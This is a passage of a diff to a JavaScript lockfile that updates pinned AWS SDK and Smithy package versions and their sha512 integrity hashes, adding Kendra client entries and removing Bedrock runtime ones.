"sha512-0Zx3Ntdpu+z9Wlm7JKUBOzS9EunwKAb4KdGUQQxDqh5Lc3ta5uBoub+FgmVuzwnmBu9U1Os8UuwVTH0Lgu+P5w=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-eZ/XF6NxMtu+iCma58GRNRxSq4lHo6zHQLOZRIeL/ghqYJirqHdenMOwrzPettj60KWlv827RVebP9oNVrwZbw=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.947.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-+vhHoDrdbb+zerV4noQk1DHaUMNzWFWPpPYjVTwW2186k5BEJIecAMChYkghRrBVJ3KPWP1+JnZwOd72F3d4rQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/config-resolver": ["@smithy/config-resolver@4.4.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "@smithy/util-config-provider": "^4.2.0", "@smithy/util-endpoints": "^3.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-s3U5ChS21DwU54kMmZ0UJumoS5cg0+rGVZvN6f5Lp6EbAVi0ZyP+qDSHdewfmXKUgNK1j3z45JyzulkDukrjAA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-6OiaAaEbLB6dEkRbQyNzFSJv5HDvly3Mc6q/qcPd2uS/g3szR8wAIkh7UndAFKfMypNSTuZ6eCBmgCLR5LacTg=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-xP5YXbOVRVN8A4pDnSUkEUsL9fYFU6VNhxo8tgr13YnMbf3Pn4xVr+hSyLVjS1Frfi1Uk03ET5Bwml4+0CeYEw=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-jhH7nJuaOpnTFcuZpWK9dqb6Ge2yGi1okTo0W6wkJrfwAm2vwmO74tF1v07JmrSyHBcKLQATEexclJw9K1Vj7w=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k3Dy9VNR37wfMh2/1RHkFf/e0rMyN0pjY0FdyY6ItJRjENYyVPRMwad6ZR1S9HFm6tTuIOd9pqKBmtJ4VHxvxg=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-E4t/V/q2T46RY21fpfznd1iSLTvCXKNKo4zJ1QuEFN4SE9gKfu2vb6bgq35LpufkQ+SETWIC7ZAf2GGvTlBaMQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.6", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-0cjqjyfj+Gls30ntq45SsBtqF3dfJQCeqQPyGz58Pk8OgrAr5YiB7ZvDzjCA94p4r6DCI4qLm7FKobqBjf515w=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.16", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/protocol-http": "^5.3.6", "@smithy/service-error-classification": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-retry": "^4.2.6", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-XPpNhNRzm3vhYm7YCsyw3AtmWggJbg1wNGAoqb7NBYr5XA5isMRv14jgbYyUV6IvbTBFZQdf2QpeW43LrRdStQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-h53dz/pISVrVrfxV1iqXlx5pRg3V2YWFcSQyPyXZRrZoZj4R4DeWRDo1a7dd3CPTcFi3kE+98tuNyD2axyZReA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.15", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-LiZQVAg/oO8kueX4c+oMls5njaD2cRLXRfcjlTYjhIqmwHnCwkQO5B3dMQH0c5PACILxGAQf6Mxsq7CjlDc76A=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.18", "", { "dependencies": { "@smithy/config-resolver": "^4.4.4", "@smithy/credential-provider-imds": "^4.2.6", "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Kw2J+KzYm9C9Z9nY6+W0tEnoZOofstVCMTshli9jhQbQCy64rueGfKzPfuFBnVUqZD9JobxTh2DzHmPkp/Va/Q=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-v60VNM2+mPvgHCBXEfMCYrQ0RepP6u6xvbAkMenfe4Mi872CqNkJzgcnQL837e8NdeDxBgrWQRTluKq5Lqdhfg=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.6", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-x7CeDQLPQ9cb6xN7fRJEjlP9NyGW/YeXWc4j/RUhg4I+H60F0PEeRc2c/z3rm9zmsdiMFzpV/rT+4UHW6KM1SA=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], - "@aws-sdk/client-cognito-identity/@aws-sdk/core": ["@aws-sdk/core@3.623.0", "", { "dependencies": { "@smithy/core": "^2.3.2", "@smithy/node-config-provider": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/signature-v4": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/util-middleware": "^3.0.3", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-8Toq3X6trX/67obSdh4K0MFQY4f132bEbr1i0YPDWk/O3KdBt12mLC/sW3aVRnlIs110XMuX9yrWWqJ8fDW10g=="], "@aws-sdk/client-cognito-identity/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.623.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-ini": "3.623.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qDwCOkhbu5PfaQHyuQ+h57HEx3+eFhKdtIw7aISziWkGdFrMe07yIBd7TJqGe4nxXnRF1pfkg05xeOlMId997g=="], @@ -4971,8 +5197,12 @@ "@aws-sdk/client-kendra/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], + "@aws-sdk/client-kendra/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@aws-sdk/client-kendra/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], + "@aws-sdk/client-kendra/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="], + "@aws-sdk/client-kendra/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], "@aws-sdk/client-kendra/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], @@ -4987,11 +5217,13 @@ "@aws-sdk/client-kendra/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="], + "@aws-sdk/client-kendra/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@aws-sdk/client-kendra/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="], "@aws-sdk/client-kendra/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], - "@aws-sdk/client-s3/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], + "@aws-sdk/client-kendra/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="], "@aws-sdk/client-sso/@aws-sdk/core": ["@aws-sdk/core@3.623.0", "", { "dependencies": { "@smithy/core": "^2.3.2", "@smithy/node-config-provider": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/signature-v4": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/util-middleware": "^3.0.3", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-8Toq3X6trX/67obSdh4K0MFQY4f132bEbr1i0YPDWk/O3KdBt12mLC/sW3aVRnlIs110XMuX9yrWWqJ8fDW10g=="], @@ -5135,7 +5367,7 @@ "@aws-sdk/client-sso-oidc/@smithy/util-utf8": ["@smithy/util-utf8@3.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-rUeT12bxFnplYDe815GXbq/oixEGHfRFFtcTF3YdDi/JaENIM6aSYYLJydG83UNzLXeRI5K8abYd/8Sp/QM0kA=="], - "@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="], + "@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="], "@aws-sdk/credential-provider-cognito-identity/@aws-sdk/types": ["@aws-sdk/types@3.609.0", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-+Tqnh9w0h2LcrUsdXyT1F8mNhXz+tVYBtP19LpeEGntmvHwa2XzvLUCWpoIAIVsHp5+HdB2X9Sn0KAtmbFXc2Q=="], @@ -5165,33 +5397,23 @@ "@aws-sdk/credential-provider-ini/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="], + "@aws-sdk/credential-provider-login/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="], - "@aws-sdk/credential-provider-login/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="], + "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HrdtnadvTGAQUr18sPzGlE5El3ICphnH6SU7UQOMOWFgRKbTRNN8msTxM4emzguUso9CzaHU2xy5ctSrmK5YNA=="], - "@aws-sdk/credential-provider-login/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="], + "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-NyB6smuZAixND5jZumkpkunQ0voc4Mwgkd+SZ6cvAzIB7gK8HV8Zd4rS8Kn5MmoGgusyNfVGG+RLoYc4yFiw+A=="], - "@aws-sdk/credential-provider-login/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="], + "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-login": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-dFqh7nfX43B8dO1aPQHOcjC0SnCJ83H3F+1LoCh3X1P7E7N09I+0/taID0asU6GCddfDExqnEvQtDdkuMe5tKQ=="], - "@aws-sdk/credential-provider-login/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="], + "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-n89ibATwnLEg0ZdZmUds5bq8AfBAdoYEDpqP3uzPLaRuGelsKlIvCYSNNvfgGLi8NaHPNNhs1HjJZYbqkW9b+g=="], - "@aws-sdk/credential-provider-login/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], + "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-wGtte+48xnhnhHMl/MsxzacBPs5A+7JJedjiP452IkHY7vsbYKcvQBqFye8LwdTJVeHtBHv+JFeTscnwepoWGg=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-N27eFoRrO6MeUNumtNHDW9WOiwfd59LPXPqDrIa3kWL/s+fOKFHb9xIcF++bAwtcZnAxKkgpDCUP+INNZskE+w=="], + "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, 